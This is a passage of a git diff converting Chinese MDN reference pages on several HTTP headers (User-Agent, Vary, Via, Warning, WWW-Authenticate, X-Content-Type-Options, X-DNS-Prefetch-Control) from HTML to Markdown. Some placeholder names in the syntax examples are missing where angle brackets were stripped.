    +- ***Mozilla/5.0** *是一个通用标记符号,用来表示与 Mozilla 兼容,这几乎是现代浏览器的标配。 +- **_platform_** 用来说明浏览器所运行的原生系统平台(例如 Windows、Mac、Linux 或 Android),以及是否运行在手机上。搭载 Firefox OS 的手机仅简单地使用了 "Mobile" 这个字符串;因为 web 本身就是平台。注意 ***platform** *可能会包含多个使用 "; " 隔开的标记符号。参见下文获取更多的细节信息及示例。 +- **rv:_geckoversion_** 表示 Gecko 的发布版本号(例如 "17.0")。在近期发布的版本中,**_geckoversion_** 表示的值与 **_firefoxversion_ **相同。 +- **_Gecko/geckotrail_** 表示该浏览器基于 Gecko 渲染引擎。 +- 在桌面浏览器中, _**geckotrail**_ 是固定的字符串 "20100101" 。 +- _**Firefox/firefoxversion**_ 表示该浏览器是 Firefox,并且提供了版本号信息(例如 "17.0")。 -

    查阅 Firefox 用户代理字符串参考来获取更多关于基于 Firefox 和 Gecko 渲染引擎的用户代理字符串的细节信息。Firefox 的用户代理字符串自身可以分为四部分:

    +### 示例 -

    Mozilla/5.0 (platform; rv:geckoversion) Gecko/geckotrail Firefox/firefoxversion

    +```plain +Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X x.y; rv:42.0) Gecko/20100101 Firefox/42.0 +``` -
      -
    • Mozilla/5.0 是一个通用标记符号,用来表示与 Mozilla 兼容,这几乎是现代浏览器的标配。
    • -
    • platform 用来说明浏览器所运行的原生系统平台(例如 Windows、Mac、Linux 或 Android),以及是否运行在手机上。搭载 Firefox OS 的手机仅简单地使用了 "Mobile" 这个字符串;因为 web 本身就是平台。注意 platform 可能会包含多个使用 "; " 隔开的标记符号。参见下文获取更多的细节信息及示例。
    • -
    • rv:geckoversion 表示 Gecko 的发布版本号(例如 "17.0")。在近期发布的版本中,geckoversion 表示的值与 firefoxversion 相同。
    • -
    • Gecko/geckotrail 表示该浏览器基于 Gecko 渲染引擎。
    • -
    • 在桌面浏览器中, geckotrail 是固定的字符串 "20100101" 。
    • -
    • Firefox/firefoxversion 表示该浏览器是 Firefox,并且提供了版本号信息(例如 "17.0")。
    • -
    +## Chrome UA 字符串 -

    示例

    +Chrome(或 Chromium/blink-based engines)用户代理字符串与 Firefox 的格式类似。为了兼容性,它添加了诸如 "KHTML, like Gecko" 和 "Safari" 这样的字符串。 -
    Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
    -Mozilla/5.0 (Macintosh; Intel Mac OS X x.y; rv:42.0) Gecko/20100101 Firefox/42.0
    -
    +### 示例 -

    Chrome UA 字符串

    +```plain +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36 +``` -

    Chrome(或 Chromium/blink-based engines)用户代理字符串与 Firefox 的格式类似。为了兼容性,它添加了诸如 "KHTML, like Gecko" 和 "Safari" 这样的字符串。

    +## Opera UA 字符串 -

    示例

    +现在,Opera 也是一款基于 blink 引擎的浏览器,这也是为什么它的 UA 看起来(和 Chrome 的)几乎一样的原因,不过,它添加了一个 "`OPR/`"。 -
    Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36
    +### 示例 -

    Opera UA 字符串

    +```plain +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 OPR/38.0.2220.41 +``` -

    现在,Opera 也是一款基于 blink 引擎的浏览器,这也是为什么它的 UA 看起来(和 Chrome 的)几乎一样的原因,不过,它添加了一个 "OPR/<version>"。

    +使用 Presto 引擎的、更老的 Opera 浏览器使用: -

    示例

    +```plain +Opera/9.80 (Macintosh; Intel Mac OS X; U; en) Presto/2.2.15 Version/10.00 +Opera/9.60 (Windows NT 6.0; U; en) Presto/2.1.1 +``` -
    Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 OPR/38.0.2220.41
    +## Safari UA 字符串 -

    使用 Presto 引擎的、更老的 Opera 浏览器使用:

    +在这个示例中,这是 Safari 的移动版本的用户代理字符串。因为其中包含了单词 "Mobile" 。 -
    Opera/9.80 (Macintosh; Intel Mac OS X; U; en) Presto/2.2.15 Version/10.00
    -Opera/9.60 (Windows NT 6.0; U; en) Presto/2.1.1
    +### 示例 -

    Safari UA 字符串

    +```plain +Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_1 like Mac OS X) AppleWebKit/603.1.30 (KHTML, like Gecko) Version/10.0 Mobile/14E304 Safari/602.1 +``` -

    在这个示例中,这是 Safari 的移动版本的用户代理字符串。因为其中包含了单词 "Mobile" 。

    +## Internet Explorer UA 字符串 -

    示例

    +### 示例 -
    Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_1 like Mac OS X) AppleWebKit/603.1.30 (KHTML, like Gecko) Version/10.0 Mobile/14E304 Safari/602.1
    +```plain +Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0) +``` -

    Internet Explorer UA 字符串

    +## 爬虫和机器人的 UA 字符串 -

    示例

    +### 示例 -
    Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0)
    +```plain +Googlebot/2.1 (+http://www.google.com/bot.html) +``` -

    爬虫和机器人的 UA 字符串

    - -

    示例

    - -
    Googlebot/2.1 (+http://www.google.com/bot.html)
    - -

    规范

    +## 规范 {{Specifications}} -

    浏览器兼容性

    - - +## 浏览器兼容性 -

    {{Compat}}

    +{{Compat}} -

    相关内容

    +## 相关内容 - +- [User-Agent 探测,历史及检查清单](https://hacks.mozilla.org/2013/09/user-agent-detection-history-and-checklist/) +- [Firefox 用户代理字符串参考](/zh-CN/docs/Web/HTTP/Headers/User-Agent/Firefox) +- [使用用户代理字段进行浏览器检测](/zh-CN/docs/Web/HTTP/Browser_detection_using_the_user_agent) diff --git a/files/zh-cn/web/http/headers/vary/index.md b/files/zh-cn/web/http/headers/vary/index.md index 5f1d4605727854..f958e8ead867cd 100644 --- a/files/zh-cn/web/http/headers/vary/index.md +++ b/files/zh-cn/web/http/headers/vary/index.md @@ -3,66 +3,54 @@ title: Vary slug: Web/HTTP/Headers/Vary translation_of: Web/HTTP/Headers/Vary --- -
    {{HTTPSidebar}}
    +{{HTTPSidebar}} -

    Vary 是一个 HTTP 响应头部信息,它决定了对于未来的一个请求头,应该用一个缓存的回复 (response) 还是向源服务器请求一个新的回复。它被服务器用来表明在 content negotiation algorithm(内容协商算法)中选择一个资源代表的时候应该使用哪些头部信息(headers).

    +**`Vary`** 是一个 HTTP 响应头部信息,它决定了对于未来的一个请求头,应该用一个缓存的回复 (response) 还是向源服务器请求一个新的回复。它被服务器用来表明在 [content negotiation](/zh-CN/docs/Web/HTTP/Content_negotiation) algorithm(内容协商算法)中选择一个资源代表的时候应该使用哪些头部信息(headers). -

    在响应状态码为 {{HTTPStatus("304")}} Not Modified 的响应中,也要设置 Vary 首部,而且要与相应的 {{HTTPStatus("200")}} OK 响应设置得一模一样。

    +在响应状态码为 {{HTTPStatus("304")}} `Not Modified` 的响应中,也要设置 Vary 首部,而且要与相应的 {{HTTPStatus("200")}} `OK` 响应设置得一模一样。 - - - - - - - - - - - -
    Header type{{Glossary("Response header")}}
    {{Glossary("Forbidden header name")}}no
    +| Header type | {{Glossary("Response header")}} | +| ------------------------------------------------ | ---------------------------------------- | +| {{Glossary("Forbidden header name")}} | no | -

    语法

    +## 语法 -
    Vary: *
    -Vary: <header-name>, <header-name>, ...
    -
    +```plain +Vary: * +Vary: , , ... +``` -

    说明

    +## 说明 -
    -
    *
    -
    所有的请求都被视为唯一并且非缓存的,使用{{HTTPHeader("Cache-Control")}}: no-store,来实现则更适用,这样用于说明不存储该对象更加清晰。
    -
    <header-name>
    -
    逗号分隔的一系列 http 头部名称,用于确定缓存是否可用。
    -
    +- \* + - : 所有的请求都被视为唯一并且非缓存的,使用{{HTTPHeader("Cache-Control")}}`: no-store`,来实现则更适用,这样用于说明不存储该对象更加清晰。 +- \ + - : 逗号分隔的一系列 http 头部名称,用于确定缓存是否可用。 -

    例子

    +## 例子 -

    动态服务

    +### 动态服务 -

    哪种情况下使用 Vary: 对于 User-Agent 头部信息,例如你提供给移动端的内容是不同的,可用防止你客户端误使用了用于桌面端的缓存。 并可帮助 Google 和其他搜索引擎来发现你的移动端版本的页面,同时告知他们不需要Cloaking

    +`哪种情况下使用 Vary: 对于 User-Agent` 头部信息,例如你提供给移动端的内容是不同的,可用防止你客户端误使用了用于桌面端的缓存。 并可帮助 Google 和其他搜索引擎来发现你的移动端版本的页面,同时告知他们不需要[Cloaking](https://en.wikipedia.org/wiki/Cloaking)。 -
    Vary: User-Agent
    +```plain +Vary: User-Agent +``` -

    规范

    +## 规范 {{Specifications}} -

    浏览器兼容性

    +## 浏览器兼容性 -

    {{Compat}}

    +{{Compat}} -

    更多关于浏览器兼容性:

    +## 更多关于浏览器兼容性: - +- [Vary with care – Vary header problems in IE6-9](https://blogs.msdn.microsoft.com/ieinternals/2009/06/17/vary-with-care/) -

    更多

    +## 更多 - +- {{HTTPHeader("Cache-Control")}} +- {{HTTPHeader("User-Agent")}} +- [Best Practices for Using the Vary Header – fastly.com](https://www.fastly.com/blog/best-practices-for-using-the-vary-header) diff --git a/files/zh-cn/web/http/headers/via/index.md b/files/zh-cn/web/http/headers/via/index.md index db3e194e297220..c41e5089cdd9fb 100644 --- a/files/zh-cn/web/http/headers/via/index.md +++ b/files/zh-cn/web/http/headers/via/index.md @@ -7,61 +7,50 @@ tags: - 首部 translation_of: Web/HTTP/Headers/Via --- -

    {{HTTPSidebar}}

    +{{HTTPSidebar}} -

    Via 是一个通用首部,是由代理服务器添加的,适用于正向和反向代理,在请求和响应首部中均可出现。这个消息首部可以用来追踪消息转发情况,防止循环请求,以及识别在请求或响应传递链中消息发送者对于协议的支持能力。

    +**`Via`** 是一个通用首部,是由代理服务器添加的,适用于正向和反向代理,在请求和响应首部中均可出现。这个消息首部可以用来追踪消息转发情况,防止循环请求,以及识别在请求或响应传递链中消息发送者对于协议的支持能力。 - - - - - - - - - - - -
    Header type{{Glossary("General header")}}
    {{Glossary("Forbidden header name")}}yes
    +| Header type | {{Glossary("General header")}} | +| ------------------------------------------------ | ---------------------------------------- | +| {{Glossary("Forbidden header name")}} | yes | -

    语法

    +## 语法 -
    Via: [ <protocol-name> "/" ] <protocol-version> <host> [ ":" <port> ]
    +```plain
    +Via: [  "/" ]   [ ":"  ]
     or
    -Via: [ <protocol-name> "/" ] <protocol-version> <pseudonym>
    -
    +Via: [ "/" ] +``` -

    指令

    +## 指令 -
    -
    <protocol-name>
    -
    可选。所使用的协议名称,如 "HTTP"。
    -
    <protocol-version>
    -
    所使用的协议版本号, 例如 "1.1"。
    -
    <host> and <port>
    -
    公共代理的 URL 及端口号。
    -
    <pseudonym>
    -
    内部代理的名称或别名。
    -
    +- \ + - : 可选。所使用的协议名称,如 "HTTP"。 +- \ + - : 所使用的协议版本号, 例如 "1.1"。 +- \ and \ + - : 公共代理的 URL 及端口号。 +- \ + - : 内部代理的名称或别名。 -

    示例

    +## 示例 -
    Via: 1.1 vegur
    +```plain
    +Via: 1.1 vegur
     Via: HTTP/1.1 GWA
     Via: 1.0 fred, 1.1 p.example.net
    -
    +``` -

    规范

    +## 规范 {{Specifications}} -

    浏览器兼容性

    +## 浏览器兼容性 -

    {{Compat}}

    +{{Compat}} -

    相关内容

    +## 相关内容 - +- {{HTTPHeader("X-Forwarded-For")}} +- [Heroku 的代理库 Vegur](https://github.com/heroku/vegur) diff --git a/files/zh-cn/web/http/headers/warning/index.md b/files/zh-cn/web/http/headers/warning/index.md index 86edc7884b127b..f9810c1774530d 100644 --- a/files/zh-cn/web/http/headers/warning/index.md +++ b/files/zh-cn/web/http/headers/warning/index.md @@ -7,122 +7,68 @@ tags: - 通用首部 translation_of: Web/HTTP/Headers/Warning --- -
    {{HTTPSidebar}}
    - -

    Warning 是一个通用报文首部,包含报文当前状态可能存在的问题。在响应中可以出现多个 Warning 首部。

    - -

    一般来说, Warning 首部可以应用于任何类型的报文。然而一部分警告码(warn-code)是为缓存代理服务器定制的,并且只可以应用在响应报文中。

    - - - - - - - - - - - - -
    Header type{{Glossary("General header")}}
    {{Glossary("Forbidden header name")}}no
    - -

    语法

    - -
    Warning: <warn-code> <warn-agent> <warn-text> [<warn-date>]
    -
    - -

    指令

    - -
    -
    <warn-code>
    -
    三位数字警告码。第一位数字表示 Warning 信息在验证之后是否需要从已存储的响应中删除。 -
      -
    • 1xx 警告码描述了关于当前响应的新鲜度或者验证状态的警告信息,并且将会在验证之后被缓存服务器删除。
    • -
    • -

      2xx 警告码描述了验证之后不会被修复的某些展现内容方面的警告信息,并且在验证之后不会被缓存服务器删除。

      -
    • -
    -
    -
    <warn-agent>
    -
    -

    添加到 Warning 首部的服务器或者软件的名称或者伪名称(当代理不可知的时候可以用 "-" 代替)。

    -
    -
    <warn-text>
    -
    用来描述错误信息的警告文本。
    -
    <warn-date>
    -
    可选。假如多个 Warning 被发送,那么需包含一个与 {{HTTPHeader("Date")}} 首部相对应的日期字段。
    -
    - -

    警告码

    - -

    由 iana.org 维护的 HTTP 警告码登记表规定了警告码的命名空间。

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    码值文字描述详细说明
    110Response is Stale由缓存服务器提供的响应已过期(设置的失效时间已过)。
    111Revalidation Failed 由于无法访问服务器,响应验证失败。
    112Disconnected Operation缓存服务器断开连接。
    113Heuristic Expiration如果缓存服务器采用启发式方法,将缓存的有效时间设定为 24 小时,而在该响应的年龄超过 24 小时时发送。
    199Miscellaneous Warning任意的、未明确指定的警告信息。
    214Transformation Applied由代理服务器添加,如果它对返回的展现内容进行了任何转换,比如改变了内容编码、媒体类型等。
    299Miscellaneous Warning与 199 类似,只不过指代的是持久化警告。
    - -

    示例

    - -
    Warning: 110 anderson/1.3.37 "Response is stale"
    +{{HTTPSidebar}}
    +
    +**`Warning`** 是一个通用报文首部,包含报文当前状态可能存在的问题。在响应中可以出现多个 Warning 首部。
    +
    +一般来说, Warning 首部可以应用于任何类型的报文。然而一部分警告码(warn-code)是为缓存代理服务器定制的,并且只可以应用在响应报文中。
    +
    +| Header type                                      | {{Glossary("General header")}} |
    +| ------------------------------------------------ | ---------------------------------------- |
    +| {{Glossary("Forbidden header name")}} | no                                       |
    +
    +## 语法
    +
    +```plain
    +Warning:    []
    +```
    +
    +## 指令
    +
    +- \
    +  - : 三位数字警告码。第一位数字表示 Warning 信息在验证之后是否需要从已存储的响应中删除。
    +
    +    - `1xx` 警告码描述了关于当前响应的新鲜度或者验证状态的警告信息,并且将会在验证之后被缓存服务器删除。
    +    - `2xx` 警告码描述了验证之后不会被修复的某些展现内容方面的警告信息,并且在验证之后不会被缓存服务器删除。
    +- \
    +  - : 添加到 Warning 首部的服务器或者软件的名称或者伪名称(当代理不可知的时候可以用 "-" 代替)。
    +- \
    +  - : 用来描述错误信息的警告文本。
    +- \
    +  - : 可选。假如多个 Warning 被发送,那么需包含一个与 {{HTTPHeader("Date")}} 首部相对应的日期字段。
    +
    +## 警告码
    +
    +[由 iana.org 维护的 HTTP 警告码登记表](http://www.iana.org/assignments/http-warn-codes/http-warn-codes.xhtml)规定了警告码的命名空间。
    +
    +| 码值 | 文字描述               | 详细说明                                                                                           |
    +| ---- | ---------------------- | -------------------------------------------------------------------------------------------------- |
    +| 110  | Response is Stale      | 由缓存服务器提供的响应已过期(设置的失效时间已过)。                                               |
    +| 111  | Revalidation Failed    | 由于无法访问服务器,响应验证失败。                                                                 |
    +| 112  | Disconnected Operation | 缓存服务器断开连接。                                                                               |
    +| 113  | Heuristic Expiration   | 如果缓存服务器采用启发式方法,将缓存的有效时间设定为 24 小时,而在该响应的年龄超过 24 小时时发送。 |
    +| 199  | Miscellaneous Warning  | 任意的、未明确指定的警告信息。                                                                     |
    +| 214  | Transformation Applied | 由代理服务器添加,如果它对返回的展现内容进行了任何转换,比如改变了内容编码、媒体类型等。           |
    +| 299  | Miscellaneous Warning  | 与 199 类似,只不过指代的是持久化警告。                                                            |
    +
    +## 示例
    +
    +```plain
    +Warning: 110 anderson/1.3.37 "Response is stale"
     
     Date: Wed, 21 Oct 2015 07:28:00 GMT
     Warning: 112 - "cache down" "Wed, 21 Oct 2015 07:28:00 GMT"
    -
    +``` -

    规范

    +## 规范 {{Specifications}} -

    浏览器兼容性

    +## 浏览器兼容性 -

    {{Compat}}

    +{{Compat}} -

    相关内容

    +## 相关内容 - +- {{HTTPHeader("Date")}} +- [HTTP respnose status codes](/zh-CN/docs/Web/HTTP/Status) diff --git a/files/zh-cn/web/http/headers/www-authenticate/index.md b/files/zh-cn/web/http/headers/www-authenticate/index.md index dc51aea7dae09f..8a27ac1accb8fb 100644 --- a/files/zh-cn/web/http/headers/www-authenticate/index.md +++ b/files/zh-cn/web/http/headers/www-authenticate/index.md @@ -9,62 +9,51 @@ tags: - header translation_of: Web/HTTP/Headers/WWW-Authenticate --- -
    {{HTTPSidebar}}
    +{{HTTPSidebar}} -

    HTTP WWW-Authenticate 响应头定义了使用何种验证方式去获取对资源的连接。

    +HTTP **`WWW-Authenticate`** 响应头定义了使用何种验证方式去获取对资源的连接。 -

    WWW-Authenticate header 通常会和一个 {{HTTPStatus("401")}} Unauthorized 的响应一同被发送。

    +`WWW-Authenticate` header 通常会和一个 {{HTTPStatus("401")}} `Unauthorized` 的响应一同被发送。 - - - - - - - - - - - -
    Header type{{Glossary("Response header")}}
    {{Glossary("Forbidden header name")}}no
    +| Header type | {{Glossary("Response header")}} | +| ------------------------------------------------ | ---------------------------------------- | +| {{Glossary("Forbidden header name")}} | no | -

    语法

    +## 语法 -
    WWW-Authenticate: <type> realm=<realm>
    -
    +```plain +WWW-Authenticate: realm= +``` -

    指令

    +## 指令 -
    -
    <type>
    -
    Authentication type,一个通用类型 "Basic"。 IANA 维护了一个 list of Authentication schemes
    -
    realm=<realm>
    -
    一个保护区域的描述。如果未指定 realm,客户端通常显示一个格式化的主机名来替代。
    -
    charset=<charset>
    -
    当提交用户名和密码时,告知客户端服务器首选的编码方案。唯一的允许值是不区分大小写的字符串"UTF-8"。这与 realm 字符串的编码无关。
    -
    +- \ + - : [Authentication type](/zh-CN/docs/Web/HTTP/Authentication#Authentication_schemes),一个通用类型 ["Basic"](/zh-CN/docs/Web/HTTP/Authentication#Basic_authentication_scheme)。 IANA 维护了一个 [list of Authentication schemes](http://www.iana.org/assignments/http-authschemes/http-authschemes.xhtml)。 +- realm=\ + - : 一个保护区域的描述。如果未指定 realm,客户端通常显示一个格式化的主机名来替代。 +- charset=\ + - : 当提交用户名和密码时,告知客户端服务器首选的编码方案。唯一的允许值是不区分大小写的字符串"UTF-8"。这与 realm 字符串的编码无关。 -

    示例

    +## 示例 -

    通常的,一个服务器响应包含一个像如下WWW-Authenticate的头信息:

    +通常的,一个服务器响应包含一个像如下`WWW-Authenticate`的头信息: -
    WWW-Authenticate: Basic
    +```plain
    +WWW-Authenticate: Basic
     
     WWW-Authenticate: Basic realm="Access to the staging site"
    -
    +``` -

    作为一个例子,可以查看 HTTP authentication 页面,了解如何配置 Apache 和 nginx 服务器来使用 HTTP basic authentication 密码保护你的站点。

    +作为一个例子,可以查看[ HTTP authentication](/zh-CN/docs/Web/HTTP/Authentication) 页面,了解如何配置 Apache 和 nginx 服务器来使用 HTTP basic authentication 密码保护你的站点。 -

    规范

    +## 规范 {{Specifications}} -

    另请参阅

    +## 另请参阅 -
      -
    • HTTP authentication
    • -
    • {{HTTPHeader("Authorization")}}
    • -
    • {{HTTPHeader("Proxy-Authorization")}}
    • -
    • {{HTTPHeader("Proxy-Authenticate")}}
    • -
    • {{HTTPStatus("401")}}, {{HTTPStatus("403")}}, {{HTTPStatus("407")}}
    • -
    +- [HTTP authentication](/zh-CN/docs/Web/HTTP/Authentication) +- {{HTTPHeader("Authorization")}} +- {{HTTPHeader("Proxy-Authorization")}} +- {{HTTPHeader("Proxy-Authenticate")}} +- {{HTTPStatus("401")}}, {{HTTPStatus("403")}}, {{HTTPStatus("407")}} diff --git a/files/zh-cn/web/http/headers/x-content-type-options/index.md b/files/zh-cn/web/http/headers/x-content-type-options/index.md index f127875715c195..4cea92e60acae9 100644 --- a/files/zh-cn/web/http/headers/x-content-type-options/index.md +++ b/files/zh-cn/web/http/headers/x-content-type-options/index.md @@ -8,61 +8,45 @@ tags: - 首部 translation_of: Web/HTTP/Headers/X-Content-Type-Options --- -
    {{HTTPSidebar}}
    +{{HTTPSidebar}} -

    X-Content-Type-Options HTTP 消息头相当于一个提示标志,被服务器用来提示客户端一定要遵循在 {{HTTPHeader("Content-Type")}} 首部中对 MIME 类型 的设定,而不能对其进行修改。这就禁用了客户端的 MIME 类型嗅探行为,换句话说,也就是意味着网站管理员确定自己的设置没有问题。

    +**`X-Content-Type-Options`** HTTP 消息头相当于一个提示标志,被服务器用来提示客户端一定要遵循在 {{HTTPHeader("Content-Type")}} 首部中对 [MIME 类型](/zh-CN/docs/Web/HTTP/Basics_of_HTTP/MIME_types) 的设定,而不能对其进行修改。这就禁用了客户端的 [MIME 类型嗅探](/zh-CN/docs/Web/HTTP/Basics_of_HTTP/MIME_types#MIME_sniffing)行为,换句话说,也就是意味着网站管理员确定自己的设置没有问题。 -

    该消息头最初是由微软在 IE 8 浏览器中引入的,提供给网站管理员用作禁用内容嗅探的手段,内容嗅探技术可能会把不可执行的 MIME 类型转变为可执行的 MIME 类型。在此之后,其他浏览器也相继引入了这个消息头,尽管它们的 MIME 嗅探算法没有那么有侵略性。

    +该消息头最初是由微软在 IE 8 浏览器中引入的,提供给网站管理员用作禁用内容嗅探的手段,内容嗅探技术可能会把不可执行的 MIME 类型转变为可执行的 MIME 类型。在此之后,其他浏览器也相继引入了这个消息头,尽管它们的 MIME 嗅探算法没有那么有侵略性。 -

    安全测试人员通常期望站点设置了该消息头。

    +安全测试人员通常期望站点设置了该消息头。 -

    注意:nosniff 只应用于 "script" 和 "style" 两种类型。事实证明,将其应用于图片类型的文件会导致与现有的站点冲突

    +注意:`nosniff` 只应用于 "`script`" 和 "`style`" 两种类型。事实证明,将其应用于图片类型的文件会导致[与现有的站点冲突](https://github.com/whatwg/fetch/issues/395)。 - - - - - - - - - - - -
    Header type{{Glossary("Response header")}}
    {{Glossary("Forbidden header name")}}no
    +| Header type | {{Glossary("Response header")}} | +| ------------------------------------------------ | ---------------------------------------- | +| {{Glossary("Forbidden header name")}} | no | -

    语法

    +## 语法 -
    X-Content-Type-Options: nosniff
    -
    +```plain +X-Content-Type-Options: nosniff +``` -

    指令

    +## 指令 -
    -
    nosniff
    -
    下面两种情况的请求将被阻止: -
      -
    • 请求类型是"style" 但是 MIME 类型不是 "text/css",
    • -
    • 请求类型是"script" 但是 MIME 类型不是 JavaScript MIME 类型
    • -
    -
    -
    +- `nosniff` + - : 下面两种情况的请求将被阻止: -

    规范

    + - 请求类型是"`style`" 但是 MIME 类型不是 "`text/css`", + - 请求类型是"`script`" 但是 MIME 类型不是 [JavaScript MIME 类型](https://html.spec.whatwg.org/multipage/scripting.html#javascript-mime-type)。 + +## 规范 {{Specifications}} -

    浏览器兼容性

    +## 浏览器兼容性 -

    {{Compat}}

    +{{Compat}} -

    相关内容

    +## 相关内容 - +- {{HTTPHeader("Content-Type")}} +- The [original definition](https://blogs.msdn.microsoft.com/ie/2008/09/02/ie8-security-part-vi-beta-2-update/) of X-Content-Type-Options by Microsoft. +- The [Mozilla Observatory](https://mozilla.github.io/http-observatory-website/) tool testing the configuration (including this header) of Web sites for safety and security +- [Mitigating MIME Confusion Attacks in Firefox](https://blog.mozilla.org/security/2016/08/26/mitigating-mime-confusion-attacks-in-firefox/) diff --git a/files/zh-cn/web/http/headers/x-dns-prefetch-control/index.md b/files/zh-cn/web/http/headers/x-dns-prefetch-control/index.md index 41611eea72424f..849331800b70eb 100644 --- a/files/zh-cn/web/http/headers/x-dns-prefetch-control/index.md +++ b/files/zh-cn/web/http/headers/x-dns-prefetch-control/index.md @@ -9,90 +9,79 @@ tags: translation_of: Web/HTTP/Headers/X-DNS-Prefetch-Control original_slug: Controlling_DNS_prefetching --- -

    {{HTTPSidebar}}

    +{{HTTPSidebar}} -

    X-DNS-Prefetch-Control 头控制着浏览器的 DNS 预读取功能。 DNS 预读取是一项使浏览器主动去执行域名解析的功能,其范围包括文档的所有链接,无论是图片的,CSS 的,还是 JavaScript 等其他用户能够点击的 URL。

    +**`X-DNS-Prefetch-Control`** 头控制着浏览器的 DNS 预读取功能。 DNS 预读取是一项使浏览器主动去执行域名解析的功能,其范围包括文档的所有链接,无论是图片的,CSS 的,还是 JavaScript 等其他用户能够点击的 URL。 -

    因为预读取会在后台执行,所以 {{glossary("DNS")}} 很可能在链接对应的东西出现之前就已经解析完毕。这能够减少用户点击链接时的延迟。

    +因为预读取会在后台执行,所以 {{glossary("DNS")}} 很可能在链接对应的东西出现之前就已经解析完毕。这能够减少用户点击链接时的延迟。 - - - - - - - - - - - -
    Header type{{Glossary("Response header")}}
    {{Glossary("Forbidden header name")}}no
    +| Header type | {{Glossary("Response header")}} | +| ------------------------------------------------ | ---------------------------------------- | +| {{Glossary("Forbidden header name")}} | no | -

    语法

    +## 语法 -
    X-DNS-Prefetch-Control: on
    +```plain
    +X-DNS-Prefetch-Control: on
     X-DNS-Prefetch-Control: off
    -
    +``` -

    参数

    +### 参数 -
    -
    on
    -
    启用 DNS 预解析。在浏览器支持 DNS 预解析的特性时即使不使用该标签浏览器依然会进行预解析。
    -
    off
    -
    关闭 DNS 预解析。这个属性在页面上的链接并不是由你控制的或是你根本不想向这些域名引导数据时是非常有用的。
    -
    +- on + - : 启用 DNS 预解析。在浏览器支持 DNS 预解析的特性时即使不使用该标签浏览器依然会进行预解析。 +- off + - : 关闭 DNS 预解析。这个属性在页面上的链接并不是由你控制的或是你根本不想向这些域名引导数据时是非常有用的。 -

    介绍

    +## 介绍 -

    DNS 请求需要的带宽非常小,但是延迟却有点高,这一点在手机网络上特别明显。预读取 DNS 能让延迟明显减少一些,例如在用户点击链接时。在某些情况下,延迟能减少一秒钟。

    +DNS 请求需要的带宽非常小,但是延迟却有点高,这一点在手机网络上特别明显。预读取 DNS 能让延迟明显减少一些,例如在用户点击链接时。在某些情况下,延迟能减少一秒钟。 -

    在某些浏览器中这个预读取的行为将会与页面实际内容并行发生(而不是串行)。正因如此,某些高延迟的域名的解析过程才不会卡住资源的加载。

    +在某些浏览器中这个预读取的行为将会与页面实际内容并行发生(而不是串行)。正因如此,某些高延迟的域名的解析过程才不会卡住资源的加载。 -

    这样可以极大的加速(尤其是移动网络环境下)页面的加载。在某些图片较多的页面中,在发起图片加载请求之前预先把域名解析好将会有至少 5% 的图片加载速度提升。

    +这样可以极大的加速(尤其是移动网络环境下)页面的加载。在某些图片较多的页面中,在发起图片加载请求之前预先把域名解析好将会有至少 5% 的图片加载速度提升。 -

    在浏览器中设置预读取配置

    +### 在浏览器中设置预读取配置 -

    一般来说并不需要去管理预读取,但是可能会有用户希望关闭预读取功能。这时只需要将 network.dns.disablePrefetch 选项值设置为 true 就可以了。

    +一般来说并不需要去管理预读取,但是可能会有用户希望关闭预读取功能。这时只需要将 `network.dns.disablePrefetch` 选项值设置为 `true` 就可以了。 -

    另外,默认情况下,通过 {{glossary("HTTPS")}} 加载的页面上内嵌链接的域名并不会执行预加载。在 Firefox 浏览器中,可以通过 about:config 设置 network.dns.disablePrefetchFromHTTPS 值为 false 来改变这一默认行为。

    +另外,默认情况下,通过 {{glossary("HTTPS")}} 加载的页面上内嵌链接的域名并不会执行预加载。在 Firefox 浏览器中,可以通过 about:config 设置 `network.dns.disablePrefetchFromHTTPS` 值为 `false` 来改变这一默认行为。 -

    示例

    +## 示例 -

    打开和关闭 DNS 预读取

    +### 打开和关闭 DNS 预读取 -

    你可以通过在服务器端发送 X-DNS-Prefetch-Control 报头,或是在文档中使用值为 {{ htmlattrxref("http-equiv") }} 的 {{ HTMLElement("meta") }} 标签:

    +你可以通过在服务器端发送 `X-DNS-Prefetch-Control` 报头,或是在文档中使用值为 {{ htmlattrxref("http-equiv") }} 的 {{ HTMLElement("meta") }} 标签: -
    <meta http-equiv="x-dns-prefetch-control" content="off">
    -
    +```plain + +``` -

    您可以通过将 content 的参数设置为“on”来改变设置。

    +您可以通过将 `content` 的参数设置为“`on`”来改变设置。 -

    强制查询特定主机名

    +### 强制查询特定主机名 -

    你可以通过使用 {{ htmlattrxref("rel","link") }} 属性值为 link type 中的 dns-prefetch 的 {{ HTMLElement("link") }} 标签来对特定域名进行预读取:

    +你可以通过使用 {{ htmlattrxref("rel","link") }} 属性值为 [link type](/zh-CN/docs/Web/HTML/Link_types) 中的 `dns-prefetch` 的 {{ HTMLElement("link") }} 标签来对特定域名进行预读取: -
    <link rel="dns-prefetch" href="http://www.spreadfirefox.com/">
    -
    +```html + +``` -

    在这个例子中,Firefox 将预解析域名"www.spreadfirefox.com"。

    +在这个例子中,Firefox 将预解析域名"[www.spreadfirefox.com](http://www.spreadfirefox.com)"。 -

    而且,{{ HTMLElement("link") }} 元素也可以使用不完整的 URL 的主机名来标记预解析,但这些主机名前必需要有双斜线:

    +而且,{{ HTMLElement("link") }} 元素也可以使用不完整的 URL 的主机名来标记预解析,但这些主机名前必需要有双斜线: -
    <link rel="dns-prefetch" href="//www.spreadfirefox.com">
    -
    +```html + +``` -

